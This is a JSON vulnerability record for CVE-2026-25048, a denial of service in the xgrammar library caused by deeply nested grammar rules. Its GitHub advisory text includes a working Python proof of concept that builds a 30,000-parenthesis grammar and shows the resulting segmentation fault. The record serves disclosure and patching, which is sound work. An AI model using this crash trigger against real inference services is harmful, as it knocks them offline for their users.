{"id":"CVE-2026-25048","aliases":["CVE-2026-25048","GHSA-7rgv-gqhr-fxg3","PYSEC-2026-2322"],"related":[],"kind":"vulnerability","state":"published","title":"xgrammar: Multi-layer nesting causes DoS","summary":"xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe multi-level nested syntax caused a segmentation fault (core dump).\n\n\n### Details\n\nA trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"\nXGrammar - Math Expression Generation Example\n\"\"\"\n\nimport xgrammar as xgr\nimport torch\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig\n\ns = '(' * 30000 + 'a'\ngrammar = f\"root ::= {s}\"\n\ndef main():\n    device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n    model_name = \"Qwen/Qwen2.5-0.5B-Instruct\"\n    \n    # Load model\n    model = AutoModelForCausalLM.from_pretrained(\n        model_name,\n        torch_dtype=torch.float16 if device == \"cuda\" else torch.float32,\n        device_map=device\n    )\n    tokenizer = AutoTokenizer.from_pretrained(model_name)\n    config = AutoConfig.from_pretrained(model_name)\n    \n    # Math expression grammar\n    math_grammar = grammar\n    \n    # Setup\n    tokenizer_info = xgr.TokenizerInfo.from_huggingface(\n        tokenizer,\n        vocab_size=config.vocab_size\n    )\n    compiler = xgr.GrammarCompiler(tokenizer_info)\n    compiled_grammar = compiler.compile_grammar(math_grammar)\n    \n    # Generate\n    prompt = \"Math: \"\n    inputs = tokenizer(prompt, return_tensors=\"pt\").to(device)\n    \n    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)\n    \n    output_ids = model.generate(\n        **inputs,\n        max_new_tokens=50,\n        logits_processor=[xgr_processor]\n    )\n    \n    result = tokenizer.decode(\n        output_ids[0][len(inputs.input_ids[0]):],\n        skip_special_tokens=True\n    )\n    \n    print(f\"Generated expression: {result}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\n\n```\n> pip show xgrammar\nName: xgrammar\nVersion: 0.1.31\nSummary: Efficient, Flexible and Portable Structured Generation\nHome-page: \nAuthor: MLC Team\nAuthor-email: \nLicense: Apache 2.0\nLocation: /home/yuelinwang/.local/lib/python3.10/site-packages\nRequires: numpy, pydantic, torch, transformers, triton, typing-extensions\nRequired-by: \n\n> python3 1.py \n`torch_dtype` is deprecated! Use `dtype` instead!\nSegmentation fault (core dumped)\n```\n\n\n### Impact\n\nDoS","format":"markdown","source":"ghsa"},{"lang":"es","text":"xgrammar es una biblioteca de código abierto para una generación estructurada eficiente, flexible y portátil. Antes de la versión 0.1.32, la sintaxis anidada multinivel causaba un fallo de segmentación (volcado de memoria principal). Este problema ha sido parcheado en la versión 0.1.32.","source":"nvd"}],"published":"2026-03-05T15:34:42.095Z","modified":"2026-09-10T03:50:38.008Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-674"],"affected":[{"ranges":[{"version":"< 0.1.32","status":"affected"}],"vendor":"mlc-ai","product":"xgrammar","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1774351144","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat AI Inference Server 3.2","package":"rhaiis/vllm-cuda-rhel9","cpe":"cpe:/a:redhat:ai_inference_server:3.2::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1774547384","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat AI Inference Server 3.2","package":"rhaiis/model-opt-cuda-rhel9","cpe":"cpe:/a:redhat:ai_inference_server:3.2::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1775252598","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat AI Inference Server 3.2","package":"rhaiis/vllm-rocm-rhel9","cpe":"cpe:/a:redhat:ai_inference_server:3.2::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1780069069","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","package":"rhoai/odh-vllm-gaudi-rhel9","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1783998774","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","package":"rhoai/odh-vllm-cuda-rhel9","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1783998857","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","package":"rhoai/odh-vllm-rocm-rhel9","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat AI Inference Server","package":"rhaiis/vllm-tpu-rhel9","cpe":"cpe:/a:redhat:ai_inference_server:3","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI (RHEL AI) 3","package":"rhelai3/bootc-aws-cuda-rhel9","cpe":"cpe:/a:redhat:enterprise_linux_ai:3","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI (RHEL AI) 3","package":"rhelai3/bootc-azure-cuda-rhel9","cpe":"cpe:/a:redhat:enterprise_linux_ai:3","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI (RHEL AI) 3","package":"rhelai3/bootc-cuda-rhel9","cpe":"cpe:/a:redhat:enterprise_linux_ai:3","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI (RHEL AI) 3","package":"rhelai3/bootc-gcp-cuda-rhel9","cpe":"cpe:/a:redhat:enterprise_linux_ai:3","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-kserve-agent-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-kserve-controller-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-kserve-router-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-kserve-storage-initializer-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.1.32"}],"ecosystem":"PyPI","package":"xgrammar","purl":"pkg:pypi/xgrammar","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.1.32"}],"vendor":"mlc-ai","product":"xgrammar","cpe":"cpe:2.3:a:mlc-ai:xgrammar:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.1.32"}],"ecosystem":"PyPI","package":"xgrammar","purl":"pkg:pypi/xgrammar","source":"pysec"}],"references":[{"url":"https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32","tags":["advisory","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-25048","tags":["vdb-entry","web","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2444840","tags":["issue-tracking","report","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25048.json","tags":["web","x-sadp-csaf-vex"],"sources":["cvelist","nvd","pysec"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6761","tags":["advisory","vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://access.redhat.com/errata/RHSA-2026:5809","tags":["advisory","vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6762","tags":["advisory","vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42644","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24977","tags":["advisory","vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25048","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/mlc-ai/xgrammar","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-03-05T16:33:30.343Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25048","url":"https://www.cve.org/CVERecord?id=CVE-2026-25048","licence":"CVE Terms of Use","modified":"2026-07-21T12:05:13.603Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7rgv-gqhr-fxg3","url":"https://github.com/advisories/GHSA-7rgv-gqhr-fxg3","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:38.008Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25048","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25048","licence":"Public domain","modified":"2026-07-21T12:17:34.860Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2322","url":"https://osv.dev/vulnerability/PYSEC-2026-2322","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:49.592Z"}],"updatedAt":"2026-11-25T22:59:15.316Z","epss":{"score":0.01351,"percentile":0.7234,"date":"2026-12-01T12:00:22.000Z"}}